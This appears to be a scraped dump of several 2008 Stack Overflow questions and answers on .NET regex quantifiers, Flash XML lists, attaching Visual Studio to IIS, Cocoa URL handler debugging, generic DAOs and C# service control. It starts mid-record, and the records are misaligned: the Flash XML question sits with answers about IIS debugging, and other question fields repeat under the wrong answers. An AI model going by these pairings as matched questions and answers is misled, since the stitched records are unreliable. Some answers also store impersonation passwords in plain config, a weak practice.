Match the character " " literally « {2}+»
Exactly 2 times «{2}+»
Match a single character present in the list below «[ 0-9]{6}+»
Exactly 6 times «{6}+»
The character " " « »
A character in the range between "0" and "9" «0-9»
Match the character " " literally « {2}»
Exactly 2 times «{2}»
Match a single character present in the list below «[ 0-9]{2}»
Exactly 2 times «{2}»
The character " " « »
A character in the range between "0" and "9" «0-9»
</code></pre>
<p>In short...</p>
<p>What is a Nested quantifier?</p>
|
[
{
"answer_id": 210243,
"author": "Duncan",
"author_id": 25035,
"author_profile": "https://Stackoverflow.com/users/25035",
"pm_score": 5,
"selected": true,
"text": "<p>.NET is complaining about the <code>+</code> after the <code>{n}</code> style quantifier as it doesn't make any sense. <code>{n}</code> means match exactly n of a given group. <code>+</code> means match one or more of a given group. Remove the <code>+</code>'s and it'll compile fine.</p>\n\n<pre><code>\"_ [ 0-9]{10} {1}[ 0-9]{10} {2}[ 0-9]{6} {2}[ 0-9]{2}\"\n</code></pre>\n"
},
{
"answer_id": 210265,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 2,
"selected": false,
"text": "<p>They're right. This version of your regex doesn't fail:</p>\n\n<p><code>(_ [ 0-9]{10})+(\\s{1})+([ 0-9]{10})+(\\s{2})+([ 0-9]{6})+\\s{2}[ 0-9]{2}</code></p>\n\n<p>Notice the use of parens to create groups that then can repeat one or more times. Also, you should be more specific and use \\s instead of a space, as pattern whitespace may or may not have significance.</p>\n\n<p>BTW, this regex doesn't look all that useful. You might want to ask another question along the lines of \"How do I use regex to match this pattern?\"</p>\n"
},
{
"answer_id": 210286,
"author": "stevemegson",
"author_id": 25028,
"author_profile": "https://Stackoverflow.com/users/25028",
"pm_score": 4,
"selected": false,
"text": "<p>.NET doesn't support the <a href=\"http://www.regular-expressions.info/possessive.html\" rel=\"nofollow noreferrer\">possessive quantifier</a></p>\n\n<pre><code>{10}+\n</code></pre>\n\n<p>However, {10} should have exactly the same effect. The + avoids backtracking and trying shorter matches if the longest match fails, but since {10} can only match exactly 10 characters to start with this doesn't achieve much.</p>\n\n<pre><code>\"_ [ 0-9]{10} [ 0-9]{10} {2}[ 0-9]{6} {2}[ 0-9]{2}\"\n</code></pre>\n\n<p>should be fine. I've also dropped the \"{1}+\" bit .Since it matches exactly once, \"A{1}+\" is equivalent to just \"A\".</p>\n\n<p><strong>EDIT</strong>\nAs Porges says, if you do need possessive quantifiers in .NET, then atomic groups give the same functionality with <code>(?>[0-9]*)</code> being equivalent to <code>[0-9]*+</code>.</p>\n"
},
{
"answer_id": 275991,
"author": "Jan Goyvaerts",
"author_id": 33358,
"author_profile": "https://Stackoverflow.com/users/33358",
"pm_score": 2,
"selected": false,
"text": "<p>If you select the .NET flavor in the toolbar at the top in RegexBuddy, RegexBuddy will indicate that .NET does not support possessive quantifiers such as {10}+.</p>\n\n<p>Since {10} allows only for one specific number of repetitions, making it lazy or possessive is pointless, even if it is syntactically valid in the regex flavors that support lazy and/or possessive quantifiers. Removing the + signs from your regex will make it work fine with .NET.</p>\n\n<p>In other situations, double-click on the error about the possessive quantifier in the Create tab in RegexBuddy. RegexBuddy will then replace the possessive quantifier with a functionally equivalent atomic group.</p>\n\n<p>If you generate a source code snippet for a .NET language on the Use tab in RegexBuddy, RegexBuddy will automatically replace possessive quantifiers in the regex in the source code snippet.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210206",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6161/"
] |
I have this regex I built and tested in regex buddy.
```
"_ [ 0-9]{10}+ {1}+[ 0-9]{10}+ {2}+[ 0-9]{6}+ {2}[ 0-9]{2}"
```
When I use this in .Net C#
I receive the exception
```
"parsing \"_ [ 0-9]{10}+ +[ 0-9]{10}+ +[ 0-9]{6}+ [ 0-9]{2}\" - Nested quantifier +."
```
What does this error mean? Apparently .net doesn't like the expression.
Here is the regex buddy so u can understand my intention with the regex...
```
_ [ 0-9]{10}+ {1}+[ 0-9]{10}+ {2}+[ 0-9]{6}+ {2}[ 0-9]{2}
Match the characters "_ " literally «_ »
Match a single character present in the list below «[ 0-9]{10}+»
Exactly 10 times «{10}+»
The character " " « »
A character in the range between "0" and "9" «0-9»
Match the character " " literally « {1}+»
Exactly 1 times «{1}+»
Match a single character present in the list below «[ 0-9]{10}+»
Exactly 10 times «{10}+»
The character " " « »
A character in the range between "0" and "9" «0-9»
Match the character " " literally « {2}+»
Exactly 2 times «{2}+»
Match a single character present in the list below «[ 0-9]{6}+»
Exactly 6 times «{6}+»
The character " " « »
A character in the range between "0" and "9" «0-9»
Match the character " " literally « {2}»
Exactly 2 times «{2}»
Match a single character present in the list below «[ 0-9]{2}»
Exactly 2 times «{2}»
The character " " « »
A character in the range between "0" and "9" «0-9»
```
In short...
What is a Nested quantifier?
|
.NET is complaining about the `+` after the `{n}` style quantifier as it doesn't make any sense. `{n}` means match exactly n of a given group. `+` means match one or more of a given group. Remove the `+`'s and it'll compile fine.
```
"_ [ 0-9]{10} {1}[ 0-9]{10} {2}[ 0-9]{6} {2}[ 0-9]{2}"
```
|
210,256 |
<p>I have an XML document, and contained within one of the nodes, I have <code><li></code> tags. I don't need <code><ul></ul></code> tags for Flash because it only accepts <code><li></code> tags anyway. For example, here's part of the XML doc:</p>
<pre><code><node>
<li>item1</li>
<li>item2</li>
</node>
</code></pre>
<p>I want to put all the data within the <code><node></code> tags, <em>with bullets</em>, into a TextArea component in Flash 8.
Note that my textArea is set to accept HTML, and that</p>
<pre><code>textArea.text = "<li>This is bulleted text</li>";
</code></pre>
<p>works just fine. However, the <code><li></code> tags within the XML document are being interpreted as a completely different node, which I obviously do not want. </p>
<p>I tried using a CDATA tag within the XML, and it inputted everything between the <code><node></code> tags, <em>including</em> the <code><li></code> tags with all their brackets. It does that because <code><li></code>'s brackets are being interpreted with the equivalent "& lt;" and "& gt;" for the left/right brackets.</p>
<p>So now I'm stuck with an unordered list in my XML file that I can't read into Flash. Unless, of course, somebody here can help me out?</p>
|
[
{
"answer_id": 210252,
"author": "StingyJack",
"author_id": 16391,
"author_profile": "https://Stackoverflow.com/users/16391",
"pm_score": 7,
"selected": true,
"text": "<p>open project properties, go to the web tab and choose the option for IIS.</p>\n\n<p>That actually starts an instance of the app in IIS and attaches the debugger. If you only wanted to attach to an existing IIS instance, choose attach to process from the debug menu.</p>\n"
},
{
"answer_id": 210255,
"author": "Danimal",
"author_id": 2757,
"author_profile": "https://Stackoverflow.com/users/2757",
"pm_score": 3,
"selected": false,
"text": "<p>go to the properties of the web application. Select the \"Start Options\" section, and change from \"USe default web server\" to \"use custom server\". Enter \"<a href=\"http://localhost\" rel=\"nofollow noreferrer\">http://localhost</a>\" in the base url. </p>\n\n<p>(assumes VS 2008)</p>\n"
},
{
"answer_id": 210257,
"author": "ckramer",
"author_id": 20504,
"author_profile": "https://Stackoverflow.com/users/20504",
"pm_score": 7,
"selected": false,
"text": "<p>Debug->Attach To Process...</p>\n\n<p>Select the <strong>aspnet_wp.exe</strong> process from the list.</p>\n\n<p>If you're running <strong>IIS > version 5</strong> the process will be <strong>w3wp.exe</strong>, and there will be one for every app pool (so if you don't know which app pool you're hitting, you'll need to attach to all of them).</p>\n"
},
{
"answer_id": 8438502,
"author": "yoel halb",
"author_id": 640195,
"author_profile": "https://Stackoverflow.com/users/640195",
"pm_score": 4,
"selected": false,
"text": "<p>Debug -> Attach to Process from the VS menu.</p>\n\n<p>In order to know to which w3wp.exe process to attach you can use the following command on a 2008 server</p>\n\n<pre><code>c:\\%systemroot%\\system32\\inetsrv\\appcmd list wp\n</code></pre>\n\n<p>While on windows 2003 it is</p>\n\n<pre><code>c:\\%systemroot%\\system32\\cscript iisapp.vbs\n</code></pre>\n\n<p>For more info see <a href=\"https://stackoverflow.com/questions/748927/iis-application-pool-pid\">IIS Application pool PID</a>.<br /></p>\n\n<p>However if you have access to the task manager (taskmgr.exe) you can see there directly the name of the process along with the process ID, and in most cases the \"user name\" column of the process will be the same as the application pool name, (of course you have to set these columns to be visible in task manager in order to view the information).<br /></p>\n\n<p>But note that all of the methods will display only the processes that are currently running, which means that if your particular process has shut down due to idle time you have first to use the site in order to bring the process up in the list.<br /></p>\n\n<p>Also if the application is a \"Web Garden\" (which has more than one w3wp.exe) then even after attaching to the correct process there is still no guarantee that the breakpoints will be hit, since traffic to the site might be directed to another process.</p>\n\n<p>Also note that if you attach to an application that runs in release mode, it will now instead run in debug mode, which means for example that there will be no timeout limitations (which might be a bit of a problem if you are actually trying to troubleshoot a timeout error).</p>\n\n<p><br/>\nIf you want to attach to a remote process here is the best practice:<br/></p>\n\n<ol>\n<li>Make sure that the firewall is not blocking by opening the relevant ports or completely disabling it (just remember to turn it on again when done).<br/></li>\n<li>You should have a windows domain account with administrative privileges on the remote machine or have an account - with the same username and password as the local machine which is running VS - on the remote machine.<br/></li>\n<li>On the machine that has VS installed navigate to (Visual Studio Install path)\\Microsoft Visual Studio (current version number)\\Common7\\IDE\\Remote Debugger(Remote Machine Version), and copy and paste this folder to the remote machine or share this folder so that it is accessible from the remote machine.<br/></li>\n<li>On the remote machine log in as the same user as the local machine (see step 2) from there navigate to the copied or shared folder of step 3, and right click on \"msvsmon.exe\" and from the context menu select \"Run As Administrator\".<br/></li>\n<li>The Remote Monitor should start up and claim that it started a server usually by the name of (user)@(remote machine) or any other name.<br/></li>\n<li>In VS select Debug -> Attach To Process from the menu, leave the transport on \"Default\" and for the \"Qualifier Name\" enter the name from step 5.<br/>\nIf everything goes correctly this will bring up the list of processes on the remote machine.<br/></li>\n</ol>\n\n<p>Of course there is a lot more in this subject, and for debugging native code the process might be even simpler, but the steps I have listed here should work in every case.</p>\n\n<p>For farther information you can take a look on <a href=\"http://www.codeproject.com/KB/aspnet/IISRemoteDebugging.aspx\" rel=\"nofollow noreferrer\">http://www.codeproject.com/KB/aspnet/IISRemoteDebugging.aspx</a> or on the MSDN, as well as many posts on this site.<br/>\n<br/>\nHope this will help.</p>\n"
},
{
"answer_id": 15577868,
"author": "Jon Adams",
"author_id": 2291,
"author_profile": "https://Stackoverflow.com/users/2291",
"pm_score": 3,
"selected": false,
"text": "<p>Or you can use <a href=\"http://visualstudiogallery.msdn.microsoft.com/site/search?f%5B0%5D.Type=RootCategory&f%5B0%5D.Value=tools&f%5B1%5D.Type=Tag&f%5B1%5D.Value=attach%20to%20iis\" rel=\"nofollow noreferrer\">one of the Attach to IIS plugins</a> to Visual Studio.</p>\n\n<p>My preferred extension is VSCommands (for <a href=\"http://visualstudiogallery.msdn.microsoft.com/a83505c6-77b3-44a6-b53b-73d77cba84c8?SRC=Featured\" rel=\"nofollow noreferrer\">VS 2010 - 2012</a> or <a href=\"https://visualstudiogallery.msdn.microsoft.com/c6d1c265-7007-405c-a68b-5606af238ece\" rel=\"nofollow noreferrer\">2013</a>, but not 2015 yet) or <a href=\"https://marketplace.visualstudio.com/items?itemName=ErlandR.ReAttach\" rel=\"nofollow noreferrer\">ReAttach</a> (works in 2017).</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210256",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/557/"
] |
I have an XML document, and contained within one of the nodes, I have `<li>` tags. I don't need `<ul></ul>` tags for Flash because it only accepts `<li>` tags anyway. For example, here's part of the XML doc:
```
<node>
<li>item1</li>
<li>item2</li>
</node>
```
I want to put all the data within the `<node>` tags, *with bullets*, into a TextArea component in Flash 8.
Note that my textArea is set to accept HTML, and that
```
textArea.text = "<li>This is bulleted text</li>";
```
works just fine. However, the `<li>` tags within the XML document are being interpreted as a completely different node, which I obviously do not want.
I tried using a CDATA tag within the XML, and it inputted everything between the `<node>` tags, *including* the `<li>` tags with all their brackets. It does that because `<li>`'s brackets are being interpreted with the equivalent "& lt;" and "& gt;" for the left/right brackets.
So now I'm stuck with an unordered list in my XML file that I can't read into Flash. Unless, of course, somebody here can help me out?
|
open project properties, go to the web tab and choose the option for IIS.
That actually starts an instance of the app in IIS and attaches the debugger. If you only wanted to attach to an existing IIS instance, choose attach to process from the debug menu.
|
210,261 |
<p>I'm debugging a Cocoa application that can act as a handler to a custom URL protocol. The application works fine when I click on a link after the application has launched, but something is causing the app to crash if it has not launched at the time the link is clicked.</p>
<p>Is there any way that I can start the app in the debugger and "fool" it into thinking that I had just clicked on a link?</p>
|
[
{
"answer_id": 210457,
"author": "Andy",
"author_id": 3857,
"author_profile": "https://Stackoverflow.com/users/3857",
"pm_score": 0,
"selected": false,
"text": "<p>Could you attach to your process from XCode once the URL handler has been invoked? You could try putting a modal NSAlert in your URL handler code so that will pause it until you can attach to your process.</p>\n"
},
{
"answer_id": 221172,
"author": "Ken",
"author_id": 17320,
"author_profile": "https://Stackoverflow.com/users/17320",
"pm_score": 2,
"selected": false,
"text": "<p>You can do </p>\n\n<pre><code>gdb --wait myAppName\n</code></pre>\n\n<p>and then click on the link to launch your app. This will cause your app to break into the debugger very, very early, before main has started.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210261",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26628/"
] |
I'm debugging a Cocoa application that can act as a handler to a custom URL protocol. The application works fine when I click on a link after the application has launched, but something is causing the app to crash if it has not launched at the time the link is clicked.
Is there any way that I can start the app in the debugger and "fool" it into thinking that I had just clicked on a link?
|
You can do
```
gdb --wait myAppName
```
and then click on the link to launch your app. This will cause your app to break into the debugger very, very early, before main has started.
|
210,266 |
<p>In the Java code I'm working with we have an interface to define our Data Access Objects(DAO). Most of the methods take a parameter of a Data Transfer Object (DTO). The problem occurs when an implementation of the DAO needs to refer to a specific type of DTO. The method then needs to do a (to me completely unnecessary cast of the DTO to SpecificDTO. Not only that but the compiler can't enforce any type of type checking for specific implementations of the DAO which should only take as parameters their specifc types of DTOs.
My question is: how do I fix this in the smallest possible manner?</p>
|
[
{
"answer_id": 210282,
"author": "johnstok",
"author_id": 27929,
"author_profile": "https://Stackoverflow.com/users/27929",
"pm_score": 4,
"selected": false,
"text": "<p>You could use generics:</p>\n\n<pre><code>DAO<SpecificDTO> dao = new SpecificDAO();\ndao.save(new SpecificDTO());\netc.\n</code></pre>\n\n<p>Your DAO class would look like:</p>\n\n<pre><code>interface DAO<T extends DTO> {\n void save(T);\n}\n\nclass SpecificDAO implements DAO<SpecificDTO> {\n void save(SpecificDTO) {\n // implementation.\n }\n // etc.\n}\n</code></pre>\n\n<p>SpecificDTO would extend or implement DTO.</p>\n"
},
{
"answer_id": 212810,
"author": "davetron5000",
"author_id": 3029,
"author_profile": "https://Stackoverflow.com/users/3029",
"pm_score": 0,
"selected": false,
"text": "<p>Refactoring to generics is no small amount of pain (even though it's most likely worth it).</p>\n\n<p>This will be especially horrendous if code uses your DTO interface like so:</p>\n\n<pre><code>DTO user = userDAO.getById(45);\n\n((UserDTO)user).setEmail(newEmail)\n\nuserDAO.update(user);\n</code></pre>\n\n<p>I've seen this done (in much more subtle ways).</p>\n\n<p>You could do this:</p>\n\n<pre><code>public DeprecatedDAO implements DAO\n{\n public void save(DTO dto)\n {\n logger.warn(\"Use type-specific calls from now on\", new Exception());\n }\n}\n\npublic UserDAO extends DeprecatedDAO\n{\n @Deprecated\n public void save(DTO dto)\n {\n super.save(dto);\n save((UserDTO)dto);\n }\n\n public void save(UserDTO dto)\n {\n // do whatever you do to save the object\n }\n}\n</code></pre>\n\n<p>This is not a <em>great</em> solution, but might be easier to implement; your legacy code should still work, but it will produce warnings and stack traces to help you hunt them down, and you have a type-safe implementation as well.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210266",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
In the Java code I'm working with we have an interface to define our Data Access Objects(DAO). Most of the methods take a parameter of a Data Transfer Object (DTO). The problem occurs when an implementation of the DAO needs to refer to a specific type of DTO. The method then needs to do a (to me completely unnecessary cast of the DTO to SpecificDTO. Not only that but the compiler can't enforce any type of type checking for specific implementations of the DAO which should only take as parameters their specifc types of DTOs.
My question is: how do I fix this in the smallest possible manner?
|
You could use generics:
```
DAO<SpecificDTO> dao = new SpecificDAO();
dao.save(new SpecificDTO());
etc.
```
Your DAO class would look like:
```
interface DAO<T extends DTO> {
void save(T);
}
class SpecificDAO implements DAO<SpecificDTO> {
void save(SpecificDTO) {
// implementation.
}
// etc.
}
```
SpecificDTO would extend or implement DTO.
|
210,296 |
<p>I've got a website that has windows authentication enable on it. From a page in the website, the users have the ability to start a service that does some stuff with the database.</p>
<p>It works fine for me to start the service because I'm a local admin on the server. But I just had a user test it and they can't get the service started.</p>
<p>My question is:</p>
<hr>
<p><strong>Does anyone know of a way to get a list of services on a specified computer by name using a different windows account than the one they are currently logged in with?</strong></p>
<hr>
<p>I really don't want to add all the users that need to start the service into a windows group and set them all to a local admin on my IIS server.....</p>
<p>Here's some of the code I've got:</p>
<pre><code>public static ServiceControllerStatus FindService()
{
ServiceControllerStatus status = ServiceControllerStatus.Stopped;
try
{
string machineName = ConfigurationManager.AppSettings["ServiceMachineName"];
ServiceController[] services = ServiceController.GetServices(machineName);
string serviceName = ConfigurationManager.AppSettings["ServiceName"].ToLower();
foreach (ServiceController service in services)
{
if (service.ServiceName.ToLower() == serviceName)
{
status = service.Status;
break;
}
}
}
catch(Exception ex)
{
status = ServiceControllerStatus.Stopped;
SaveError(ex, "Utilities - FindService()");
}
return status;
}
</code></pre>
<p>My exception comes from the second line in the try block. Here's the error:</p>
<blockquote>
<p>System.InvalidOperationException:
Cannot open Service Control Manager on
computer 'server.domain.com'. This
operation might require other
privileges. --->
System.ComponentModel.Win32Exception:
Access is denied --- End of inner
exception stack trace --- at
System.ServiceProcess.ServiceController.GetDataBaseHandleWithAccess(String
machineName, Int32
serviceControlManaqerAccess) at
System.ServiceProcess.ServiceController.GetServicesOfType(String
machineName, Int32 serviceType) at
TelemarketingWebSite.Utilities.StartService()</p>
</blockquote>
<p>Thanks for the help/info</p>
|
[
{
"answer_id": 210813,
"author": "Rich",
"author_id": 28442,
"author_profile": "https://Stackoverflow.com/users/28442",
"pm_score": 1,
"selected": false,
"text": "<p>You can try using ASP.NET impersonation in your web.config file and specify a user account that has the appropriate permissions:</p>\n\n<pre><code> <system.web>\n <identity impersonate=\"true\" userName=\"Username\" password=\"Password\" />\n </system.web\n</code></pre>\n\n<p>Take a look at <a href=\"http://msdn.microsoft.com/en-us/library/aa292118(VS.71).aspx\" rel=\"nofollow noreferrer\">this article on MSDN</a>. I believe there are other options that do not require storing the password in the web.config file such as placing it in a registry key instead.</p>\n\n<p>This will cause the ASP.NET worker process to run under the context of the specified user instead of the user logged into the web application. <strong>However</strong>, this poses a security issue and I would strongly rethink your design. You may want to consider having the ASP.NET web page in turn fire off a request to some other process that actually controls the services, even another windows service or write the request to a database table that the windows service polls periodically.</p>\n"
},
{
"answer_id": 211135,
"author": "Charlie",
"author_id": 18529,
"author_profile": "https://Stackoverflow.com/users/18529",
"pm_score": 4,
"selected": true,
"text": "<p><em>Note: This doesn't address enumerating services as a different user, but given the broader description of what you're doing, I think it's a good answer.</em></p>\n\n<p>I think you can simplify this a lot, and possibly avoid part of the security problem, if you go directly to the service of interest. Instead of calling GetServices, try this:</p>\n\n<pre><code>string machineName = ConfigurationManager.AppSettings[\"ServiceMachineName\"];\nstring serviceName = ConfigurationManager.AppSettings[\"ServiceName\"];\nServiceController service = new ServiceController( serviceName, machineName );\nreturn service.Status;\n</code></pre>\n\n<p>This connects directly to the service of interest and bypasses the enumeration/search step. Therefore, it doesn't require the caller to have the <code>SC_MANAGER_ENUMERATE_SERVICE</code> right on the Service Control Manager (SCM), which remote users do not have by default. It does still require <code>SC_MANAGER_CONNECT</code>, but <a href=\"http://msdn.microsoft.com/en-us/library/ms685981.aspx\" rel=\"noreferrer\">according to MSDN</a> that should be granted to remote authenticated users.</p>\n\n<p>Once you have found the service of interest, you'll still need to be able to stop and start it, which your remote users probably don't have rights to do. However, it's possible to modify the security descriptor (DACL) on individual services, which would let you grant your remote users access to stop and start the service without requiring them to be local admins. This is done via the <a href=\"http://msdn.microsoft.com/en-us/library/aa379579(VS.85).aspx\" rel=\"noreferrer\">SetNamedSecurityInfo</a> API function. The access rights you need to grant are <code>SERVICE_START</code> and <code>SERVICE_STOP</code>. Depending on exactly which groups these users belong to, you might also need to grant them <code>GENERIC_READ</code>. All of these rights are <a href=\"http://msdn.microsoft.com/en-us/library/ms685981.aspx\" rel=\"noreferrer\">described in MSDN</a>.</p>\n\n<p>Here is some C++ code that would perform this setup, assuming the users of interest are in the \"Remote Service Controllers\" group (which you would create) and the service name is \"my-service-name\". Note that if you wanted to grant access to a well-known group such as Users (not necessarily a good idea) rather than a group you created, you need to change <code>TRUSTEE_IS_GROUP</code> to <code>TRUSTEE_IS_WELL_KNOWN_GROUP</code>.</p>\n\n<p>The code has no error checking, which you would want to add. All three functions that can fail (Get/SetNamedSecurityInfo and SetEntriesInAcl) return 0 to indicate success.</p>\n\n<p><em>Another Note: You can also set a service's security descriptor using <a href=\"http://www.ss64.com/nt/sc.html\" rel=\"noreferrer\">the SC tool</a>, which can be found under %WINDIR%\\System32, but that doesn't involve any programming.</em></p>\n\n<pre><code>#include \"windows.h\"\n#include \"accctrl.h\"\n#include \"aclapi.h\"\n\nint main()\n{\n char serviceName[] = \"my-service-name\";\n char userGroup[] = \"Remote Service Controllers\";\n\n // retrieve the security info\n PACL pDacl = NULL;\n PSECURITY_DESCRIPTOR pDescriptor = NULL;\n GetNamedSecurityInfo( serviceName, SE_SERVICE,\n DACL_SECURITY_INFORMATION, NULL, NULL,\n &pDacl, NULL, &pDescriptor );\n\n // add an entry to allow the users to start and stop the service\n EXPLICIT_ACCESS access;\n ZeroMemory( &access, sizeof(access) );\n access.grfAccessMode = GRANT_ACCESS;\n access.grfAccessPermissions = SERVICE_START | SERVICE_STOP;\n access.Trustee.TrusteeForm = TRUSTEE_IS_NAME;\n access.Trustee.TrusteeType = TRUSTEE_IS_GROUP;\n access.Trustee.ptstrName = userGroup;\n PACL pNewDacl;\n SetEntriesInAcl( 1, &access, pDacl, &pNewDacl );\n\n // write the changes back to the service\n SetNamedSecurityInfo( serviceName, SE_SERVICE,\n DACL_SECURITY_INFORMATION, NULL, NULL,\n pNewDacl, NULL );\n\n LocalFree( pNewDacl );\n LocalFree( pDescriptor );\n}\n</code></pre>\n\n<p>This could also be done from C# using P/Invoke, but that's a bit more work.</p>\n\n<p>If you still specifically want to be able to enumerate services as these users, you need to grant them the <code>SC_MANAGER_ENUMERATE_SERVICE</code> right on the SCM. Unfortunately, <a href=\"http://msdn.microsoft.com/en-us/library/ms685981.aspx\" rel=\"noreferrer\">according to MSDN</a>, the SCM's security can only be modified on Windows Server 2003 sp1 or later.</p>\n"
},
{
"answer_id": 212673,
"author": "Miles",
"author_id": 21828,
"author_profile": "https://Stackoverflow.com/users/21828",
"pm_score": 2,
"selected": false,
"text": "<p>Thanks for that line of code Charlie. Here's what I ended up doing. I got the idea from this website: <a href=\"http://www.codeproject.com/KB/cs/svcmgr.aspx?display=Print\" rel=\"nofollow noreferrer\">http://www.codeproject.com/KB/cs/svcmgr.aspx?display=Print</a></p>\n\n<p>I also had to add the account I'm accessing this as to the Power Users group on the server.</p>\n\n<pre><code>public static ServiceControllerStatus FindService()\n {\n ServiceControllerStatus status = ServiceControllerStatus.Stopped;\n try\n {\n string machineName = ConfigurationManager.AppSettings[\"ServiceMachineName\"];\n string serviceName = ConfigurationManager.AppSettings[\"ServiceName\"].ToLower();\n\n ImpersonationUtil.Impersonate();\n\n ServiceController service = new ServiceController(serviceName, machineName);\n status = service.Status;\n }\n catch(Exception ex)\n {\n status = ServiceControllerStatus.Stopped;\n SaveError(ex, \"Utilities - FindService()\");\n }\n\n return status;\n }\n</code></pre>\n\n<p>And here's my other class with the ImpersonationUtil.Impersonate():</p>\n\n<pre><code>public static class ImpersonationUtil\n {\n public static bool Impersonate()\n {\n string logon = ConfigurationManager.AppSettings[\"ImpersonationUserName\"];\n string password = ConfigurationManager.AppSettings[\"ImpersonationPassword\"];\n string domain = ConfigurationManager.AppSettings[\"ImpersonationDomain\"];\n\n IntPtr token = IntPtr.Zero;\n IntPtr tokenDuplicate = IntPtr.Zero;\n WindowsImpersonationContext impersonationContext = null;\n\n if (LogonUser(logon, domain, password, 2, 0, ref token) != 0)\n if (DuplicateToken(token, 2, ref tokenDuplicate) != 0)\n impersonationContext = new WindowsIdentity(tokenDuplicate).Impersonate();\n //\n\n return (impersonationContext != null);\n }\n\n [DllImport(\"advapi32.dll\", CharSet = CharSet.Auto)]\n public static extern int LogonUser(string lpszUserName, string lpszDomain, string lpszPassword, int dwLogonType, int dwLogonProvider, ref IntPtr phToken);\n\n [DllImport(\"advapi32.dll\", CharSet = System.Runtime.InteropServices.CharSet.Auto, SetLastError = true)]\n public extern static int DuplicateToken(IntPtr hToken, int impersonationLevel, ref IntPtr hNewToken);\n }\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210296",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/21828/"
] |
I've got a website that has windows authentication enable on it. From a page in the website, the users have the ability to start a service that does some stuff with the database.
It works fine for me to start the service because I'm a local admin on the server. But I just had a user test it and they can't get the service started.
My question is:
---
**Does anyone know of a way to get a list of services on a specified computer by name using a different windows account than the one they are currently logged in with?**
---
I really don't want to add all the users that need to start the service into a windows group and set them all to a local admin on my IIS server.....
Here's some of the code I've got:
```
public static ServiceControllerStatus FindService()
{
ServiceControllerStatus status = ServiceControllerStatus.Stopped;
try
{
string machineName = ConfigurationManager.AppSettings["ServiceMachineName"];
ServiceController[] services = ServiceController.GetServices(machineName);
string serviceName = ConfigurationManager.AppSettings["ServiceName"].ToLower();
foreach (ServiceController service in services)
{
if (service.ServiceName.ToLower() == serviceName)
{
status = service.Status;
break;
}
}
}
catch(Exception ex)
{
status = ServiceControllerStatus.Stopped;
SaveError(ex, "Utilities - FindService()");
}
return status;
}
```
My exception comes from the second line in the try block. Here's the error:
>
> System.InvalidOperationException:
> Cannot open Service Control Manager on
> computer 'server.domain.com'. This
> operation might require other
> privileges. --->
> System.ComponentModel.Win32Exception:
> Access is denied --- End of inner
> exception stack trace --- at
> System.ServiceProcess.ServiceController.GetDataBaseHandleWithAccess(String
> machineName, Int32
> serviceControlManaqerAccess) at
> System.ServiceProcess.ServiceController.GetServicesOfType(String
> machineName, Int32 serviceType) at
> TelemarketingWebSite.Utilities.StartService()
>
>
>
Thanks for the help/info
|
*Note: This doesn't address enumerating services as a different user, but given the broader description of what you're doing, I think it's a good answer.*
I think you can simplify this a lot, and possibly avoid part of the security problem, if you go directly to the service of interest. Instead of calling GetServices, try this:
```
string machineName = ConfigurationManager.AppSettings["ServiceMachineName"];
string serviceName = ConfigurationManager.AppSettings["ServiceName"];
ServiceController service = new ServiceController( serviceName, machineName );
return service.Status;
```
This connects directly to the service of interest and bypasses the enumeration/search step. Therefore, it doesn't require the caller to have the `SC_MANAGER_ENUMERATE_SERVICE` right on the Service Control Manager (SCM), which remote users do not have by default. It does still require `SC_MANAGER_CONNECT`, but [according to MSDN](http://msdn.microsoft.com/en-us/library/ms685981.aspx) that should be granted to remote authenticated users.
Once you have found the service of interest, you'll still need to be able to stop and start it, which your remote users probably don't have rights to do. However, it's possible to modify the security descriptor (DACL) on individual services, which would let you grant your remote users access to stop and start the service without requiring them to be local admins. This is done via the [SetNamedSecurityInfo](http://msdn.microsoft.com/en-us/library/aa379579(VS.85).aspx) API function. The access rights you need to grant are `SERVICE_START` and `SERVICE_STOP`. Depending on exactly which groups these users belong to, you might also need to grant them `GENERIC_READ`. All of these rights are [described in MSDN](http://msdn.microsoft.com/en-us/library/ms685981.aspx).
Here is some C++ code that would perform this setup, assuming the users of interest are in the "Remote Service Controllers" group (which you would create) and the service name is "my-service-name". Note that if you wanted to grant access to a well-known group such as Users (not necessarily a good idea) rather than a group you created, you need to change `TRUSTEE_IS_GROUP` to `TRUSTEE_IS_WELL_KNOWN_GROUP`.
The code has no error checking, which you would want to add. All three functions that can fail (Get/SetNamedSecurityInfo and SetEntriesInAcl) return 0 to indicate success.
*Another Note: You can also set a service's security descriptor using [the SC tool](http://www.ss64.com/nt/sc.html), which can be found under %WINDIR%\System32, but that doesn't involve any programming.*
```
#include "windows.h"
#include "accctrl.h"
#include "aclapi.h"
int main()
{
char serviceName[] = "my-service-name";
char userGroup[] = "Remote Service Controllers";
// retrieve the security info
PACL pDacl = NULL;
PSECURITY_DESCRIPTOR pDescriptor = NULL;
GetNamedSecurityInfo( serviceName, SE_SERVICE,
DACL_SECURITY_INFORMATION, NULL, NULL,
&pDacl, NULL, &pDescriptor );
// add an entry to allow the users to start and stop the service
EXPLICIT_ACCESS access;
ZeroMemory( &access, sizeof(access) );
access.grfAccessMode = GRANT_ACCESS;
access.grfAccessPermissions = SERVICE_START | SERVICE_STOP;
access.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
access.Trustee.TrusteeType = TRUSTEE_IS_GROUP;
access.Trustee.ptstrName = userGroup;
PACL pNewDacl;
SetEntriesInAcl( 1, &access, pDacl, &pNewDacl );
// write the changes back to the service
SetNamedSecurityInfo( serviceName, SE_SERVICE,
DACL_SECURITY_INFORMATION, NULL, NULL,
pNewDacl, NULL );
LocalFree( pNewDacl );
LocalFree( pDescriptor );
}
```
This could also be done from C# using P/Invoke, but that's a bit more work.
If you still specifically want to be able to enumerate services as these users, you need to grant them the `SC_MANAGER_ENUMERATE_SERVICE` right on the SCM. Unfortunately, [according to MSDN](http://msdn.microsoft.com/en-us/library/ms685981.aspx), the SCM's security can only be modified on Windows Server 2003 sp1 or later.
|
210,342 |
